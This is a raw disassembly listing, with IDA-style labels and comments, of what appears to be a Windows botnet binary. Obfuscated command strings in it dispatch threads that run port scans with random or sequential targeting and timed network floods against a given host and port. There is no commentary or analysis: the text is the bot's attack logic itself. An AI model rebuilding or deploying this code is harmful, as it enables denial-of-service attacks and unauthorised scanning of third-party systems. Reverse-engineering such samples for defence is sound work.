		mov	[ebp+var_20C], ecx
		test	eax, eax
		lea	eax, [ebp+var_2C4]
		jz	short loc_410C7E
		push	offset dword_443F14
		jmp	short loc_410C83
; ---------------------------------------------------------------------------


loc_410C7E:				; CODE XREF: sub_40A9FE+6277j
		push	offset dword_443F1C


loc_410C83:				; CODE XREF: sub_40A9FE+627Ej
		push	eax
		call	dword_4370B4	; lstrcpyA
		cmp	[ebp+var_218], 0
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_410C9D
		mov	eax, offset aSequential	; "Sequential"


loc_410C9D:				; CODE XREF: sub_40A9FE+6298j
		push	[ebp+var_22C]
		lea	ecx, [ebp+var_2D4]
		mov	edi, offset aSSSSDWithADela ; "%s %s %s	%s:%d with a delay of %d secon"...
		push	[ebp+var_23C]
		push	[ebp+var_240]
		push	[ebp+var_244]
		push	ecx
		push	offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1"
		push	eax
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	edi
		push	8
		call	sub_4234A7
		add	esp, 28h
		mov	[ebp+var_238], eax
		lea	eax, [ebp+arg_0]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	ebx
		push	eax
		push	offset sub_402459
		push	ebx
		push	ebx
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_238]
		imul	ecx, 2724h
		cmp	eax, ebx
		mov	dword_46D72C[ecx], eax
		jnz	short loc_410D65


loc_410D0E:				; CODE XREF: sub_40A9FE+667Bj
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_410D41
		cmp	[ebp+arg_18], 0
		jnz	short loc_410D4B
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_410D41:				; CODE XREF: sub_40A9FE+631Fj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_410D4B:				; CODE XREF: sub_40A9FE+6325j
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...


loc_410D53:				; CODE XREF: sub_40A9FE+6529j
					; sub_40A9FE+951Dj
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_410D5D:				; CODE XREF: sub_40A9FE+636Dj
		push	32h
		call	dword_437190	; Sleep


loc_410D65:				; CODE XREF: sub_40A9FE+630Ej
		cmp	[ebp+var_214], ebx
		jz	short loc_410D5D
		cmp	[ebp+arg_14], ebx
		jnz	short loc_410DCE
		cmp	[ebp+arg_18], ebx
		jnz	short loc_410DD9
		cmp	[ebp+arg_1C], ebx
		jnz	loc_414995
		cmp	[ebp+var_218], 0
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_410D93
		mov	eax, offset aSequential	; "Sequential"


loc_410D93:				; CODE XREF: sub_40A9FE+638Ej
		push	[ebp+var_22C]
		lea	ecx, [ebp+var_2D4]
		push	[ebp+var_23C]
		push	[ebp+var_240]
		push	[ebp+var_244]
		push	ecx
		push	offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1"
		push	eax
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 2Ch
		xor	ebx, ebx


loc_410DCE:				; CODE XREF: sub_40A9FE+6372j
		cmp	[ebp+arg_18], ebx
		jz	loc_414995
		xor	ebx, ebx


loc_410DD9:				; CODE XREF: sub_40A9FE+6377j
		cmp	[ebp+var_218], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_410DEB
		mov	eax, offset aSequential	; "Sequential"


loc_410DEB:				; CODE XREF: sub_40A9FE+63E6j
		push	[ebp+var_22C]
		lea	ecx, [ebp+var_2D4]
		push	[ebp+var_23C]
		push	[ebp+var_240]
		push	[ebp+var_244]
		push	ecx
		push	offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1"
		push	eax
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	edi
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 2Ch
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_410E28:				; CODE XREF: sub_40A9FE+5E68j
		push	dword ptr [ebx]
		push	offset aSxytb1_eejq_ ; "SXYtb1.EEjQ."
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_413EA2
		push	dword ptr [ebx]
		push	offset aVb1r0N_arr0 ; "vB1r0/N.Arr0"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_413EA2
		push	dword ptr [ebx]
		push	offset a8im6i__c829_ ; "8Im6i..C829."
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_413EA2
		push	dword ptr [ebx]
		push	offset aTiyj208fhvn_ ; "tIYj208FHvN."
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_413EA2
		push	dword ptr [ebx]
		push	offset a5ngN0zjh2i1 ; "5nG/N0ZJh2i1"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_413EA2
		push	dword ptr [ebx]
		push	offset aMdf9n0kzpx60 ; "mdf9n0kzPX60"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_413EA2
		push	dword ptr [ebx]
		push	offset aAtfv_jgk0x1 ; "/ATfv.jgK0X1"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_413EA2
		push	dword ptr [ebx]
		push	offset aFu6k10irsc1 ; "fu6k10iRsc/1"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_413EA2
		push	dword ptr [ebx]
		push	offset a_luua_bruje0 ; ".lUua.bruje0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_4110A1
		xor	edi, edi
		cmp	[ebx+4], edi
		jz	loc_411097
		cmp	[ebx+8], edi
		jz	loc_411097
		cmp	[ebx+0Ch], edi
		jz	loc_411097
		push	9
		call	sub_42381F
		cmp	eax, edi
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_410F2C
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_410F19
		cmp	[ebp+arg_18], 0
		jnz	short loc_410F23
		push	eax
		push	ebx
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_410F19:				; CODE XREF: sub_40A9FE+64FDj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_410F23:				; CODE XREF: sub_40A9FE+6503j
		push	[ebp+arg_C]
		push	ebx
		jmp	loc_410D53
; ---------------------------------------------------------------------------


loc_410F2C:				; CODE XREF: sub_40A9FE+64EDj
		mov	eax, [ebp+arg_20]
		mov	ecx, [ebp+arg_14]
		mov	dword_454A4C, eax
		mov	eax, [ebp+arg_18]
		mov	dword_454A50, eax
		mov	[ebp+var_840], eax
		cmp	eax, edi
		mov	dword_454A48, ecx
		mov	[ebp+var_838], ecx
		lea	eax, [ebp+var_95C]
		jnz	short loc_410F62
		push	offset dword_443F1C
		jmp	short loc_410F64
; ---------------------------------------------------------------------------


loc_410F62:				; CODE XREF: sub_40A9FE+655Bj
		push	dword ptr [esi]


loc_410F64:				; CODE XREF: sub_40A9FE+6562j
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_964], eax
		push	dword ptr [ebx+4]
		call	dword_456F7C	; inet_addr
		mov	[ebp+var_848], eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_85C], eax
		mov	ebx, [ebx+0Ch]
		cmp	ebx, edi
		pop	ecx
		jnz	short loc_410FA5
		mov	[ebp+var_858], 64h
		jmp	short loc_410FB2
; ---------------------------------------------------------------------------


loc_410FA5:				; CODE XREF: sub_40A9FE+6599j
		push	ebx
		call	sub_42A100
		pop	ecx
		mov	[ebp+var_858], eax


loc_410FB2:				; CODE XREF: sub_40A9FE+65A5j
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		mov	edi, offset aSPortPscanStar ; "%s Port pscan started: %s:%d with delay"...
		jnz	short loc_410FF1
		cmp	[ebp+arg_18], 0
		jnz	short loc_410FF7
		push	[ebp+var_858]
		push	[ebp+var_85C]
		push	[ebp+var_848]
		call	dword_456FDC	; inet_ntoa
		push	eax
		push	ebx
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_410FF1:				; CODE XREF: sub_40A9FE+65C2j
		cmp	[ebp+arg_18], 0
		jz	short loc_41101F


loc_410FF7:				; CODE XREF: sub_40A9FE+65C8j
		push	[ebp+var_858]
		push	[ebp+var_85C]
		push	[ebp+var_848]
		call	dword_456FDC	; inet_ntoa
		push	eax
		push	ebx
		push	edi
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 1Ch


loc_41101F:				; CODE XREF: sub_40A9FE+65F7j
		push	[ebp+var_858]
		push	[ebp+var_85C]
		push	[ebp+var_848]
		call	dword_456FDC	; inet_ntoa
		push	eax
		push	ebx
		push	edi
		push	9
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_850], eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_964]
		push	edi
		push	eax
		push	offset sub_407281
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_850]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	loc_410D0E
		jmp	short loc_411089
; ---------------------------------------------------------------------------


loc_411081:				; CODE XREF: sub_40A9FE+6692j
		push	32h
		call	dword_437190	; Sleep


loc_411089:				; CODE XREF: sub_40A9FE+6681j
		cmp	[ebp+var_834], 0
		jz	short loc_411081
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_411097:				; CODE XREF: sub_40A9FE+64C8j
					; sub_40A9FE+64D1j ...
		mov	edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		jmp	loc_40BF10
; ---------------------------------------------------------------------------


loc_4110A1:				; CODE XREF: sub_40A9FE+64BDj
		push	dword ptr [ebx]
		push	offset aKzqshDhric_ ; "kzqSH/dhRIc."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4110BA
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	9
		jmp	loc_412B29
; ---------------------------------------------------------------------------


loc_4110BA:				; CODE XREF: sub_40A9FE+66AEj
		push	dword ptr [ebx]
		push	offset aUycsBekwp0 ; "/uYcs/BEKWP0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_4111E6
		push	0Ah
		call	sub_42381F
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_4110E4
		mov	ebx, offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
		jmp	loc_40B964
; ---------------------------------------------------------------------------


loc_4110E4:				; CODE XREF: sub_40A9FE+66DAj
		mov	eax, [ebp+arg_14]
		and	dword_456594, 0
		mov	dword_45658C, eax
		mov	eax, [ebp+arg_20]
		mov	edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
		mov	ebx, offset aSS_ ; "%s %s."
		push	edi
		mov	dword_456588, eax
		mov	eax, [ebp+arg_10]
		push	offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
		push	ebx
		push	0Ah
		mov	dword_4564D8, eax
		call	sub_4234A7
		add	esp, 10h
		mov	dword_45655C, eax
		lea	eax, [ebp+arg_0]
		push	eax
		xor	eax, eax
		push	eax
		push	offset dword_4564D8
		push	offset sub_407E4B
		push	eax
		push	eax
		call	dword_437180	; CreateThread
		mov	ecx, dword_45655C
		imul	ecx, 2724h
		test	eax, eax
		mov	dword_46D72C[ecx], eax
		jnz	short loc_4111A7
		cmp	[ebp+arg_14], eax
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_411183
		cmp	[ebp+arg_18], eax
		jnz	short loc_41118D
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_411183:				; CODE XREF: sub_40A9FE+6762j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_41118D:				; CODE XREF: sub_40A9FE+6767j
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_41119F:				; CODE XREF: sub_40A9FE+67B0j
		push	32h
		call	dword_437190	; Sleep


loc_4111A7:				; CODE XREF: sub_40A9FE+6752j
		cmp	dword_456594, 0
		jz	short loc_41119F
		cmp	[ebp+arg_14], 0
		jnz	short loc_4111D1
		cmp	[ebp+arg_18], 0
		jnz	short loc_4111DB
		push	edi
		push	offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_4111D1:				; CODE XREF: sub_40A9FE+67B6j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_4111DB:				; CODE XREF: sub_40A9FE+67BCj
		push	edi
		push	offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
		jmp	loc_40B0FB
; ---------------------------------------------------------------------------


loc_4111E6:				; CODE XREF: sub_40A9FE+66C7j
		push	dword ptr [ebx]
		push	offset aWwfbf_0ptze_ ; "WWFBf.0ptzE."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4111FF
		push	offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
		push	0Ah
		jmp	loc_412B29
; ---------------------------------------------------------------------------


loc_4111FF:				; CODE XREF: sub_40A9FE+67F3j
		push	dword ptr [ebx]
		push	offset aFhzdv1ootfg0 ; "fhzdV1OotFg0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_411355
		push	0Bh
		call	sub_42381F
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_411229
		mov	ebx, offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
		jmp	loc_40B964
; ---------------------------------------------------------------------------


loc_411229:				; CODE XREF: sub_40A9FE+681Fj
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1A2C],	eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_1978],	eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_197C],	eax
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_1A28]
		push	eax
		call	sub_42A5D0
		mov	edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
		mov	ebx, offset aSS_ ; "%s %s."
		push	edi
		push	offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
		push	ebx
		push	0Bh
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_19A8],	eax
		lea	eax, [ebp+arg_0]
		lea	ecx, [ebp+var_1A2C]
		push	eax
		xor	eax, eax
		push	eax
		push	ecx
		push	offset loc_40A1EF
		push	eax
		push	eax
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_19A8]
		imul	ecx, 2724h
		test	eax, eax
		mov	dword_46D72C[ecx], eax
		jnz	short loc_411308
		cmp	[ebp+arg_14], eax
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_4112D6
		cmp	[ebp+arg_18], eax
		jnz	short loc_4112E0
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_4112D6:				; CODE XREF: sub_40A9FE+68B5j
		cmp	[ebp+arg_18], 0
		jz	loc_412FED


loc_4112E0:				; CODE XREF: sub_40A9FE+68BAj
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
		push	edi
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		jmp	loc_40FCD9
; ---------------------------------------------------------------------------


loc_4112FD:				; CODE XREF: sub_40A9FE+6911j
		push	1F4h
		call	dword_437190	; Sleep


loc_411308:				; CODE XREF: sub_40A9FE+68A5j
		cmp	[ebp+var_1970],	0
		jz	short loc_4112FD
		cmp	[ebp+arg_14], 0
		jnz	short loc_411332
		cmp	[ebp+arg_18], 0
		jnz	short loc_41133C
		push	edi
		push	offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_411332:				; CODE XREF: sub_40A9FE+6917j
		cmp	[ebp+arg_18], 0
		jz	loc_412FED


loc_41133C:				; CODE XREF: sub_40A9FE+691Dj
		push	edi
		push	offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
		push	ebx
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 14h
		jmp	loc_412FED
; ---------------------------------------------------------------------------


loc_411355:				; CODE XREF: sub_40A9FE+680Cj
		push	dword ptr [ebx]
		push	offset aUmk7x0pwyw9Qrn ; "Umk7x0PwyW9/QRn4z10ge1I1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_41136E
		push	offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
		push	0Bh
		jmp	loc_412B29
; ---------------------------------------------------------------------------


loc_41136E:				; CODE XREF: sub_40A9FE+6962j
		push	dword ptr [ebx]
		push	offset a7fugu_n0u2m1 ; "7FUgU.N0U2m1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_41159E
		xor	edi, edi
		cmp	[ebx+4], edi
		jz	loc_411594
		cmp	[ebx+8], edi
		jz	loc_411594
		cmp	[ebx+0Ch], edi
		jz	loc_411594
		cmp	[ebx+10h], edi
		jz	loc_411594
		push	0Dh
		call	sub_423800
		cmp	eax, 32h
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_4113F9
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_4113E1
		cmp	[ebp+arg_18], 0
		jnz	short loc_4113EB
		push	eax
		push	ebx
		push	offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_4113E1:				; CODE XREF: sub_40A9FE+69C5j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_4113EB:				; CODE XREF: sub_40A9FE+69CBj
		push	[ebp+arg_C]
		push	ebx


loc_4113EF:				; CODE XREF: sub_40A9FE+6B7Bj
		push	offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_4113F9:				; CODE XREF: sub_40A9FE+69B5j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_1160],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_1164],	eax
		cmp	eax, edi
		lea	eax, [ebp+var_11F4]
		jnz	short loc_41141A
		push	dword ptr [esi+0Ch]
		jmp	short loc_41141C
; ---------------------------------------------------------------------------


loc_41141A:				; CODE XREF: sub_40A9FE+6A15j
		push	dword ptr [esi]


loc_41141C:				; CODE XREF: sub_40A9FE+6A1Aj
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_1278],	eax
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_1274]
		push	eax
		call	sub_429D10
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_1170],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		mov	[ebp+var_116C],	eax
		push	dword ptr [ebx+10h]
		call	sub_42A100
		add	esp, 18h
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_1168],	eax
		mov	edi, offset aSSDForDSecs_ ; "%s	--> (%s:%d) for	(%d secs)."
		jnz	short loc_4114A6
		cmp	[ebp+arg_18], 0
		jnz	short loc_4114AC
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_4114A6:				; CODE XREF: sub_40A9FE+6A75j
		cmp	[ebp+arg_18], 0
		jz	short loc_4114D6


loc_4114AC:				; CODE XREF: sub_40A9FE+6A7Bj
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		push	edi
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 1Ch


loc_4114D6:				; CODE XREF: sub_40A9FE+6AACj
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		push	edi
		push	0Dh
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_1174],	eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_1278]
		push	edi
		push	eax
		push	offset sub_4229B7
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_1174]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jnz	short loc_411586
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_411567
		cmp	[ebp+arg_18], 0
		jnz	short loc_411571
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_411567:				; CODE XREF: sub_40A9FE+6B45j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_411571:				; CODE XREF: sub_40A9FE+6B4Bj
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		jmp	loc_4113EF
; ---------------------------------------------------------------------------


loc_41157E:				; CODE XREF: sub_40A9FE+6B8Fj
		push	32h
		call	dword_437190	; Sleep


loc_411586:				; CODE XREF: sub_40A9FE+6B34j
		cmp	[ebp+var_115C],	0
		jz	short loc_41157E
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_411594:				; CODE XREF: sub_40A9FE+6986j
					; sub_40A9FE+698Fj ...
		mov	edi, offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		jmp	loc_40BF10
; ---------------------------------------------------------------------------


loc_41159E:				; CODE XREF: sub_40A9FE+697Bj
		push	dword ptr [ebx]
		push	offset aW3dwl46o0u0 ; "w3dWL/46o0u0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4115B5
		push	offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		jmp	loc_4128A9
; ---------------------------------------------------------------------------


loc_4115B5:				; CODE XREF: sub_40A9FE+6BABj
		push	dword ptr [ebx]
		push	offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_413C82
		push	dword ptr [ebx]
		push	offset a6x7zf1eztny_ ; "6x7zf1EztnY."
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_413C82
		push	dword ptr [ebx]
		push	offset aFyflu0ji3xh_ ; "FyFlU0jI3XH."
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_413C82
		push	dword ptr [ebx]
		push	offset a7otcu0fic6v0 ; "7otcU0FiC6V0"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_413C82
		push	dword ptr [ebx]
		push	offset aDnjyk0fwki__ ; "dnjYk0fWkI.."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_411610
		push	offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
		jmp	loc_4128A9
; ---------------------------------------------------------------------------


loc_411610:				; CODE XREF: sub_40A9FE+6C06j
		push	dword ptr [ebx]
		push	offset aXmz20Gjkq ; "xMz20//gJkQ/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_411829
		xor	edi, edi
		cmp	[ebx+4], edi
		jz	loc_41181F
		cmp	[ebx+8], edi
		jz	loc_41181F
		cmp	[ebx+0Ch], edi
		jz	loc_41181F
		push	0Dh
		call	sub_423800
		cmp	eax, 32h
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_411692
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_41167A
		cmp	[ebp+arg_18], 0
		jnz	short loc_411684
		push	eax
		push	ebx
		push	offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_41167A:				; CODE XREF: sub_40A9FE+6C5Ej
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_411684:				; CODE XREF: sub_40A9FE+6C64j
		push	[ebp+arg_C]
		push	ebx


loc_411688:				; CODE XREF: sub_40A9FE+6E06j
		push	offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_411692:				; CODE XREF: sub_40A9FE+6C4Ej
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_1AF8],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_1AFC],	eax
		cmp	eax, edi
		lea	eax, [ebp+var_1B90]
		jnz	short loc_4116B3
		push	dword ptr [esi+0Ch]
		jmp	short loc_4116B5
; ---------------------------------------------------------------------------


loc_4116B3:				; CODE XREF: sub_40A9FE+6CAEj
		push	dword ptr [esi]


loc_4116B5:				; CODE XREF: sub_40A9FE+6CB3j
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_1C14],	eax
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_1C10]
		push	eax
		call	sub_429D10
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_1B08],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		add	esp, 14h
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_1B04],	eax
		mov	edi, offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
		jnz	short loc_411731
		cmp	[ebp+arg_18], 0
		jnz	short loc_411737
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSSForDSecsWith ; "%s --> (%s) for %d secs with %d ms dela"...
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_411731:				; CODE XREF: sub_40A9FE+6D00j
		cmp	[ebp+arg_18], 0
		jz	short loc_411761


loc_411737:				; CODE XREF: sub_40A9FE+6D06j
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	edi
